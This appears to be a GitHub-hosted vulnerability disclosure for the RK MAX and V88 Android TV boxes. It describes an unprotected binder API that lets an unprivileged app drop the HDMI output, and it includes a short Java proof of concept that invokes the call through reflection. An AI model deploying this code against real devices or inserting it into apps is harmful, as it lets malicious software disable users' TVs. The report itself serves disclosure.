master

TVBoxBugs / RK_MAX_V88_SmartTV_Vulnerability

helloworldxp Create RK_MAX_V88_SmartTV_Vulnerability History

1 contributor

35 lines (16 sloc) | 1.35 KB

```
[Vulnerability in RK MAX and V88 SmartTV box]

I would like to report a security vulnerability in RK MAX ( build.id : MXC89L)and V88 (build.id:NHG47K) Smart TVs Boxes.

The vulnerability allows to drop HDMI signals without any privilege requirement, thus creating an opportunity for a non-privilege malicious app to disable the basic functionalities



This vulnerability is due to the following:

The devices introduce a (non-protected) custom API in the DisplayDeviceManagement system service “switchNextDisplayInterface” which takes as argument 1 integer. once invoked with p



We can exploit this API as follows:

Class ServiceManager = Class.forName("android.os.ServiceManager");

Method getService = ServiceManager.getMethod("getService", String.class);

mRemote = (IBinder) getService.invoke(null,"display_device_management");

Parcel localParcel1 = Parcel.obtain();

Parcel localParcel2 = Parcel.obtain();

localParcel1.writeInterfaceToken("android.os.IDisplayDeviceManagementService");

localParcel1.writeInt(0);

mRemote.transact(7, localParcel1, localParcel2, 0);  // 7 corresponds to the vulnerable API

localParcel2.recycle();

localParcel1.recycle();
```